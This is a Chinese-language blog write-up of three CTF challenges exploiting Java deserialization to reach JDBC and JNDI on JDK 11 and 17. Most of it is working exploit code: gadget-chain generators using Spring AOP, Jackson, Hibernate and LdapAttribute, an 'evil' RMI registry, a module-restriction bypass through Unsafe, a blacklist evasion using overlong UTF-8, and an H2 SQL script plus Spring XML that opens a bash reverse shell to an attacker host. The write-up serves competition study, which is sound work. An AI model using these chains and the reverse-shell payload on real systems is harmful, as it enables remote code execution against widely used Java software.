来自三道高版本JDK的JDBC连打combo

前言

鸽了太久,上周打了个软件安全赛半决,发现很多好玩的高版本JDK的JDBC题目,遂趁着没啥事的时候看看。

其一-软件安全赛初赛-JDBCParty

JDK17打oracle的反序列化。

image-20250331162957099

入口很simple,因为getConnection内我们可控的只有username和password,所以不能直接打JDBC了。

前面给了个deserialize,应该是打这里的反序列化:

image-20250331163110482

这里的打法不仅仅是高版本JDK下JDBC的打法,打JDBC前半段很简单,都是找个能触发到getConnection的链,这里有很多种选择,比如出道即巅峰的EventListenerList,其二是hashtable,都可以从toString调用到任意getter。

后半段就是着重考虑的高版本JDK的JNDI打法。

饭要一口口吃,路要一步步走。我们先看JDBC怎么打。

首先就是JDK17的反射机制绕过,这里可以看:

JDK17+反射限制绕过

根据 Oracle的文档,为了安全性,从JDK 17开始对java本身代码使用强封装,原文叫 Strong Encapsulation。任何对 java.* 代码中的非public变量和方法进行反射会抛出InaccessibleObjectException异常。

这里我们是使用了Unsafe类来实现反射限制的突破。本质上即为在jdk17及之后无法反射 java.* 包下非public 修饰的属性和方法,通过 UnSafe实现调用类的module和Object类的module一样 达到可以修改的目的,具体不再赘述。

对于高版本JDK的JNDI的话,我们需要找到能触发getter的JNDI。

这个项目也已经给出:https://github.com/luelueking/Deserial_Sink_With_JDBC

oracle数据库我们可以选择OracleCachedRowSet作为sink:

1
2
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("rmi://localhost:1097/remoteobj");

这个sink的首坑是只能打RMI。我们跟一下OracleRowSet可以看到黑名单:

image-20250331164035491

唯独RMI没ban。

EXP-JDBC到JNDI

此处就以那位出道即巅峰的EventListenerList下手,借用一部分j1rry师傅的代码,注意还是要先把Jackson链中的writeReplace给删了,不然会提前触发就打印不出payload了,同时记得添加VM Options:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public class Exp_EventListenerList {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();


ObjectMapper objectMapper = new ObjectMapper();
objectMapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

Class unsafeClass = Class.forName("sun.misc.Unsafe");

Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Exp_EventListenerList.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
//User user = new User();
//对于是否触发到getter方法实现的时候 可以考虑本地实现一个类看看
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();

oracleCachedRowSet.setDataSourceName("rmi://localhost:1097/remoteobj");
new MemoryUserDatabaseFactory();

UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("monitorLock"),null);
Vector vector1 = new Vector();
vector1.add(0,"111");
Vector vector2 = new Vector();
vector2.add(0,"222");
String[] metaData= new String[]{"111","222"};

UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes"),vector1);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames"),vector2);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("metaData"),metaData);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("reader"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("writer"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("syncProvider"),null);
POJONode pojoNode = new POJONode(oracleCachedRowSet);


//toString触发到getter方法
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
System.out.println(base64Encode(serialize(list)));

deserialize(serialize(list));

}

//HashMap打Spring的原生toString链
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

UnSafeTools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class UnSafeTools {
static Unsafe unsafe;

public UnSafeTools() {
}

public static Unsafe getUnsafe() throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
return unsafe;
}

public static void setObject(Object o, Field field, Object value) {
unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
}

public static Object newClass(Class c) throws InstantiationException {
Object o = unsafe.allocateInstance(c);
return o;
}

public static void bypassModule(Class src, Class dst) throws Exception {
Unsafe unsafe = getUnsafe();
Method getModule = dst.getDeclaredMethod("getModule");
getModule.setAccessible(true);
Object module = getModule.invoke(dst);
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(src, addr, module);
}

static {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var1) {
System.out.println("Error: " + var1);
}

}
}

当然Hashtable这条链:也能通:

1
2
3
4
hashtable#readObject
=>TextAndMnemonicHashMap#get
=>fastjson2.toString
=>OracleCachedRowSet.getConnection()

只不过跟Jackson不稳定链是类似的,还需要加个JdkDynamicAopProxy类指定OracleCachedRowSet的接口来进行对getConnection的稳定触发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
public static void main(String[] args) throws Exception {
unsafe_break_jdk17();
// sink
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("rmi://127.0.0.1:1097/remoteobj");

Object proxy = getProxy(oracleCachedRowSet);

JSONArray objects = new JSONArray();
objects.add(proxy);


Hashtable hashMapXStringToString = makeTableTstring(objects);

String serialize = serialize(hashMapXStringToString);
// System.out.println(serialize);

Object deserialize = deserialize(serialize);


}

public static void unsafe_break_jdk17() throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

//获取Object的module
Module objectmodule = Object.class.getModule();
//获取当前类对象
Class mainClass = Exp_Hashtable.class;
//获取在class中module的偏移量
long module = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
//设置module
unsafe.getAndSetObject(mainClass,module,objectmodule);
}

public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}

public static Object deserialize(String payload) throws Exception {
byte[] data = Base64.getDecoder().decode(payload);
return new ObjectInputStream(new ByteArrayInputStream(data)).readObject();
}
//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getSuperclass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}


public static Object getProxy(Object obj) throws Exception{
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{RowSetInternal.class}, handler);
return proxyObj;
}

//hashtable.readObject ---> TextAndMnemonicHashMap.get ----> obj.toString
public static Hashtable makeTableTstring(Object o) throws Exception{
Map tHashMap1 = (HashMap) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (HashMap) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(o,"yy");
tHashMap2.put(o,"zZ");
setValue(tHashMap1,"loadFactor",1);
setValue(tHashMap2,"loadFactor",1);

Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1);

tHashMap1.put(o, null);
tHashMap2.put(o, null);
return hashtable;
}


public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

EXP-JNDI

首先是注意到依赖的tomcat是10.1.31:

image-20250331164726885

而Tomcat 在9.0.62后在BeanFactory里对forceString进行了判断,所以想直接打BeanFactory的JNDI老路已经不太彳亍了。

我们必须找一个新的sink点,可看:高版本JNDI注入-高版本Tomcat利用方案-先知社区

但是文章的sink点这道题用不了emmm,还得自己找一个。

据说可以从RMIServer打一个XXE来任意文件读取,但是我没有尝试,因为我想R哈哈哈哈哈。

集思广益,还真找到了一个CVE-2022-39197分析,这是一个CS的洞,Sink点是JSVGCanvas#setURL,我们可以做到svg2RCE。

之前说到高版本tomcat不能直接打BeanFactory因为forceString被ban了,但是通过JavaBeans Introspector 实现获取任意类的bean之后,就可以调用任意类的的setter方法。

我了个豆啊。那可以直接调用任意setter传参了,那不就能触发到batik-swingJSVGCanvas#setURL了,直接就通了。

(srds这个batik-swing确实是远古版本的玩意,还得去网上下)

与此同时,这个洞后续还被发扬光大了,于是就找到了CVE-2023-21939:JDK CVE-2023-21939 分析利用

EXP_RMIServer

没啥好说的,就是提供一个打JNDI的RMIServer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.eddiemurphy;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer_JDBCParty {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("URI", "http://localhost:8886/1.xml"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("remoteobj", referenceWrapper); //Client处访问rmi://localhost:1097/remoteobj
}
}

用CVE-2023-21939的现成server直接起,只是svg直接触发好像有点问题,打jar包的形式倒是可以一遍通:

image-20250331171010321

image-20250331171039372

当然还搜到有Jackson+LdapAttruibute的方法能打,具体看看这位师傅写的吧:JDK17打Jackson+LdapAttruibute反序列化 | GSBP’s Blog

三折叠,怎么折都有面啊😋😋😋

参考:

从2025系统安全防护赛JDBCParty学习高版本JDK和高版本Tomcat打JNDI到RCE | J1rrY’s Blog

软件攻防赛JDBCParty赛后解-先知社区

Y4Sec-Team/CVE-2023-21939: JDK CVE-2023-21939

其二-软件安全赛半决-justDeserialize

JDK11打hsqldb的反序列化。

比赛是break&fix类型,修是很好修的,框框加blacklist或者重写resolveClass都行,或User类的compare方法ban掉,这是一个很显然的拿来反序列化触发的方法点位。当时硬磕了半天还是没打通,绕resolveClass原有黑名单想到了UTF8-Overlong-Encoding,也想到了JNDI的打法,奈何本地环境遇到点问题测不出来。。。

赛后也有师傅复现了,那我也看看怎么个事吧。

打的是SpringAOP链,来自:软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog

用的toString来触发aop动态代理的invoke方法,只要不是equals,hashcode这俩方法触发invoke,其他都是可以走完整条反序列化链。

而User类的compare方法可以使用CB链中的PriorityQueue的那节来触发。

但是直接触发是不太彳亍的,因为proxy类没有实现comparator接口,解决方法是通过在外面再包一层代理,且代理comparator接口。

至于触发类,我们可以选择LdapAttribute这么一个jndi注入类,也可以选择JdbcRowSetImpl

虽然高版本JDK你直接调com.sun.rowset.JdbcRowSetImpl会报错,但是这题你在JDK8下调好payload发包过去照样能成功。

打JNDI的话,用JNDIMap就可以,但是直接打waf的测试好像过不了,反正套个UTF8就能绕resolveClass

EXP

法一,JdbcRowSetImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public static void main(String[] args) throws Exception {

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Deserialize/Jackson/Command/calc.exe");
Method method = jdbcRowSet.getClass().getMethod("getDatabaseMetaData");
System.out.println(method);
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(jdbcRowSet);
AspectJAroundAdvice advice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),factory);
Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class);
Proxy finalproxy = (Proxy) getBProxy(proxy1,new Class[]{Comparator.class});
PriorityQueue PQ_test = new PriorityQueue(1);
PQ_test.add(1);
PQ_test.add(2);

setFieldValue(PQ_test,"comparator",finalproxy);
setFieldValue(PQ_test,"queue",new Object[]{proxy1,proxy1});

System.out.println(Base64.getEncoder().encodeToString(serialize(PQ_test)));

deserialize(serialize(PQ_test));
//deserialize_waf(serialize(PQ_test));

}
public static Object getBProxy(Object obj,Class[] clazzs) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);
return proxy;
}
public static Object getAProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj;

DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor((Advice) getBProxy(advice, new Class[]{MethodInterceptor.class, Advice.class}));
advisedSupport.addAdvisor(advisor);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}

public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream arr = new ByteArrayOutputStream();
try (UTF8OverlongObjectOutputStream output = new UTF8OverlongObjectOutputStream(arr)){
output.writeObject(obj);
}
return arr.toByteArray();
}

public static Object deserialize(byte[] arr) throws Exception {
try (ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(arr))){
return input.readObject();
}
}

image-20250331200208073

当时比赛不出网,jar包的编译版本虽然是JDK11,但是还没有受到强制类隔离的要求,所以可以随便打Jackson反序列化这些,或者是再走一次AOP链但触发类换成可RCE的TemplateImpl类,这里随便打一个啥内存马应该都可以。

这位师傅还提到了hsql的二次反序列化,这个思路也很不错,打jndi_Reference触发DruidDataSourceFactory的getObjectInstance方法来打hsql-JDBC,触发hsql里的SerializationUtils二次反序列化实现RCE,有兴趣可以看看原文。

放题目中的JDK11环境也能出:

image-20250331200045561

法二,LdapAttribute

其次potat0w0师傅的从LdapAttributegetAttributeDefinition()打到jndi也是很好的方法,因为题目的依赖中存在hibernate漏洞版本,想办法出发到它的hashCode()就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public class Exp2 {
public static void main(String[] args) throws Exception {

Hashtable hashtable = new Hashtable();

ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

setField(componentType,"propertySpan",2);

//Users users = new Users();

Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Class c2 = Class.forName("javax.naming.directory.BasicAttribute");
//
Object ldap = createObjWithConstructor(c1,c2,new Class[]{String.class},new Object[]{"test"});
setField(ldap,"rdn",new CompositeName("a//b"));
// setField(ldap,"baseCtx",new InitialContext());

setField(ldap,"baseCtxURL","ldap://127.0.0.1:50389");

TypedValue typedValue = new TypedValue(componentType,ldap);

PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", c1.getDeclaredMethod("getAttributeDefinition"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);


hashtable.put(1,111);

Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}


String string = Base64.getEncoder().encodeToString(ser(hashtable));

System.out.println(string);

unser(Base64.getDecoder().decode(string));

}
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
Exp.UTF8OverlongObjectOutputStream utf8OverlongObjectOutputStream = new Exp.UTF8OverlongObjectOutputStream(byteArrayOutputStream);
// objectOutputStream.writeObject(o);
utf8OverlongObjectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}

}

这里用java-chains这个工具试了试,确实也挺好用的,推荐!

image-20250331200846114

image-20250331200938196

参考:

软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog

软件系统安全赛2025华东赛区半决赛wp-web - Potat0w0

Release 1.4.0 · vulhub/java-chains

其三-NCTF2024 H2_Revenge

X1哥出的题,JDK17打H2的反序列化。

就是因为参加软件赛才没打到NCTF题,正好学弟也在问这个题的问题,看了看打了打。

题目入口很简单:

image-20250331171307946

前半段链子依然用EventListenerList能触发到MyDataSourcegetConnecetion()

image-20250331171411816

如果光打H2的话,后续好像直接用CREATE ALIAS创建恶意函数执行sql语句或者利用JavaScript引擎就能直接打了。但是JDK17的JavaScript引擎(Nashorn)已经被删除,而且这道题有点抽象的用了JRE,而不是完整的JDK环境,也就是说没有javac,没法给你编译了,那么创建恶意函数的方法就寄了。

但是你如果翻看H2官方文档,会发现CERATE ALIAS除了能在sql执行的时候创建恶意函数,还可以直接引用已知的Java方法,全程没有javac的参加。

Features

image-20250331172209936

一下就变成漏洞挖掘了呢。只要是我们能找到依赖中的符合条件的静态方法就能R了。

这里的打法千奇百怪了,因为方法有很多,X1哥用的Spring的ReflectUtils反射调用ClassPathXmlApplicationContext的构造方法,但是直接执行SQL语句会报错不支持JAVA_OBJECT 与VARCHAR(CHARACTER VARYING)类型之间的转换:Data conversion error converting “JAVA_OBJECT, CHARACTER VARYING” · Issue #3389 · h2database/h2database

因为ReflectUtils.newInstance传入的args参数是Object类型,sql文件中的@url_str属于VARCHAR类型。

所以必须找到一个参数类型为Object且返回值是String类型的static方法,从而间接地实现类型的转换,这里由于我还没装CodeQL和Tabby,所以就不去手动找了。这俩对Javachains的挖掘很有帮助,后面有缘搭建一下再更吧hhh。

X1哥用的javax.naming.ldap.Rdn.unescapeValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
public static Object unescapeValue(String val) {

char[] chars = val.toCharArray();
int beg = 0;
int end = chars.length;

// Trim off leading and trailing whitespace.
while ((beg < end) && isWhitespace(chars[beg])) {
++beg;
}

while ((beg < end) && isWhitespace(chars[end - 1])) {
--end;
}

// Add back the trailing whitespace with a preceding '\'
// (escaped or unescaped) that was taken off in the above
// loop. Whether or not to retain this whitespace is decided below.
if (end != chars.length &&
(beg < end) &&
chars[end - 1] == '\\') {
end++;
}
if (beg >= end) {
return "";
}

if (chars[beg] == '#') {
// Value is binary (eg: "#CEB1DF80").
return decodeHexPairs(chars, ++beg, end);
}

// Trim off quotes.
if ((chars[beg] == '\"') && (chars[end - 1] == '\"')) {
++beg;
--end;
}

StringBuilder builder = new StringBuilder(end - beg);
int esc = -1; // index of the last escaped character

for (int i = beg; i < end; i++) {
if ((chars[i] == '\\') && (i + 1 < end)) {
if (!Character.isLetterOrDigit(chars[i + 1])) {
++i; // skip backslash
builder.append(chars[i]); // snarf escaped char
esc = i;
} else {

// Convert hex-encoded UTF-8 to 16-bit chars.
byte[] utf8 = getUtf8Octets(chars, i, end);
if (utf8.length > 0) {
try {
builder.append(new String(utf8, "UTF8"));
} catch (java.io.UnsupportedEncodingException e) {
// shouldn't happen
}
i += utf8.length * 3 - 1;
} else { // no utf8 bytes available, invalid DN

// '/' has no meaning, throw exception
throw new IllegalArgumentException(
"Not a valid attribute string value:" +
val + ",improper usage of backslash");
}
}
} else {
builder.append(chars[i]); // snarf unescaped char
}
}

// Get rid of the unescaped trailing whitespace with the
// preceding '\' character that was previously added back.
int len = builder.length();
if (isWhitespace(builder.charAt(len - 1)) && esc != (end - 1)) {
builder.setLength(len - 1);
}
return builder.toString();
}

就连起来了。

EXP

sql文件:

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://vps:port/h2_revenge_evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

xml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vps/port 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

Exp.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Exp {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();


UnsafeUtil.patchModule(Exp.class);
UnsafeUtil.patchModule(ReflectUtil.class);

MyDataSource dataSource = new MyDataSource("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://vps:port/h2_revenge_poc.sql'", "aaa", "bbb");

POJONode pojoNode = new POJONode(dataSource);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(CompoundEdit.class, undoManager, "edits");
vector.add(pojoNode);

ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(eventListenerList)));
//SerializeUtil.test(eventListenerList);
}
}

记得加VM Options。

image-20250331173419158

当然,也有那种打十六进制写入so文件然后在sql文件中打java.lang.System.load的:NCTF2024 Web方向题解-CSDN博客

这也是打H2 JDBC的一种常用方法。

后记

JDK高版本还是太安全了,安全到基本就只有出难题出JDBC题的份了。


来自三道高版本JDK的JDBC连打combo
https://eddiemurphy89.github.io/2025/03/31/来自三道高版本JDK的JDBC连打combo/
作者
EddieMurphy
发布于
2025年3月31日
许可协议